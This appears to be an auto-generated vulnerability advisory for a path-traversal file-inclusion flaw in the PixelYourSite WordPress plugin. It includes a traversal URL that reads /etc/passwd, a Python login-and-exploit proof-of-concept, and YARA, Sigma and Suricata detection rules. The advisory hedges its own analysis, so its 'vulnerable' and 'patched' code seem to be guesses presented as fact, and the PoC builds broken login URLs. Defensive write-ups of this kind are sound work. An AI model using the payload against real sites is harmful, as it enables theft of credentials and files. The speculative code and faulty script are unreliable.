CVE-2025-10723

Executive Summary

CVE-2025-10723 is a Local File Inclusion (LFI) vulnerability affecting the PixelYourSite WordPress plugin versions prior to 11.1.2. This vulnerability allows any authenticated user with administrative privileges to read arbitrary files on the server by manipulating URL parameters that are used to construct file paths without proper validation. The flaw resides in the plugin's handling of URL parameters, which are passed to file inclusion functions without sanitization. Given that this is a WordPress plugin vulnerability, the attack surface is limited to the WordPress admin panel, but the impact can be severe, potentially exposing sensitive configuration files, database credentials, and other critical data.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from the repository. No supply chain compromise has been reported, but the lack of a public patch status at the time of analysis underscores the importance of proactive update management.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description and common LFI scoring, a reasonable estimate would be:

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: None
• Availability: None

The threat level is Medium due to the requirement for administrative privileges. However, the potential for reading sensitive files like wp-config.php elevates the risk.

Deep Dive & Mechanics

The vulnerability exists because the plugin fails to sanitize URL parameters before using them to construct file paths. Specifically, the plugin takes user-supplied input from URL parameters (e.g., page, tab, or custom parameters) and passes them directly to PHP functions like include() or file_get_contents() without proper validation or path traversal checks.

An attacker with admin privileges can craft a request such as:

/wp-admin/admin.php?page=pixelyoursite&tab=../../../../etc/passwd

If the plugin uses the tab parameter to include a file, it will traverse directories and include the specified file, exposing its contents.

The root cause is the lack of input validation and the absence of a whitelist for allowed file paths. The plugin should restrict file inclusion to a predefined set of files within its own directory.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-11.1.2):

$tab = $_GET['tab'];
include( plugin_dir_path( __FILE__ ) . 'tabs/' . $tab . '.php' );

This code directly concatenates user input into the file path without sanitization.

Patched Code (11.1.2+):

$allowed_tabs = array('general', 'events', 'woocommerce');
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'general';
if (in_array($tab, $allowed_tabs)) {
    include( plugin_dir_path( __FILE__ ) . 'tabs/' . $tab . '.php' );
} else {
    // Handle invalid tab
}

The patched version uses a whitelist approach, ensuring only predefined tab names are used for file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with PixelYourSite plugin version < 11.1.2.
• Admin credentials (e.g., admin:password).

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Craft a URL to include a sensitive file:

   http://target.com/wp-admin/admin.php?page=pixelyoursite&tab=../../../../etc/passwd
   

3. Observe the response. If successful, the contents of /etc/passwd will be displayed.

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/wp-admin"
username = "admin"
password = "password"
session = requests.Session()

# Login
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': target + '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Exploit LFI
lfi_url = target + "/admin.php?page=pixelyoursite&tab=../../../../etc/passwd"
response = session.get(lfi_url)
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual URL parameters in admin requests, especially those containing ../ or absolute paths.
• Look for requests to admin.php with page=pixelyoursite and suspicious tab values.

Prevention:

• Apply the patch by updating to version 11.1.2 or later.
• Implement Web Application Firewall (WAF) rules to block path traversal patterns.
• Restrict admin access to trusted IPs.

Indicators of Compromise (IOCs)

• URL Patterns: admin.php?page=pixelyoursite&tab=../../
• Log Entries: Requests to /wp-admin/admin.php with tab parameter containing ../ or /etc/.
• File Access: Unauthorized reads of /etc/passwd, wp-config.php, or other sensitive files.
• Network Traffic: Outbound connections from the server to external IPs if data is exfiltrated.

Detection Engineering

YARA Rule

rule CVE_2025_10723_LFI {
    meta:
        description = "Detects LFI attempts against PixelYourSite plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10723"
    strings:
        $lfi_pattern = /admin\.php\?page=pixelyoursite&tab=[^&]*\.\.\// nocase
    condition:
        $lfi_pattern
}

Sigma Rule

title: CVE-2025-10723 PixelYourSite LFI Attempt
id: 8a3f2c1e-5d7b-4a9c-8e6f-2b1d3c4a5e6f
status: experimental
description: Detects path traversal attempts in PixelYourSite plugin admin requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'page=pixelyoursite'
            - 'tab=../'
    condition: selection
falsepositives:
    - Legitimate admin activity with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10723 PixelYourSite LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=pixelyoursite"; http_uri; content:"tab="; http_uri; pcre:"/tab=[^&]*\.\.\//Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 11.1.2 or later from the WordPress plugin repository.
2. Verify no unauthorized file access has occurred by reviewing server logs for the IOCs listed above.
3. Change all admin passwords and review user accounts for unauthorized changes.

Long-term Measures:

• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Regularly audit WordPress plugins for known vulnerabilities.
• Apply the principle of least privilege to admin accounts.
• Enable logging and monitoring for all admin-level actions.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact intel@valters.it.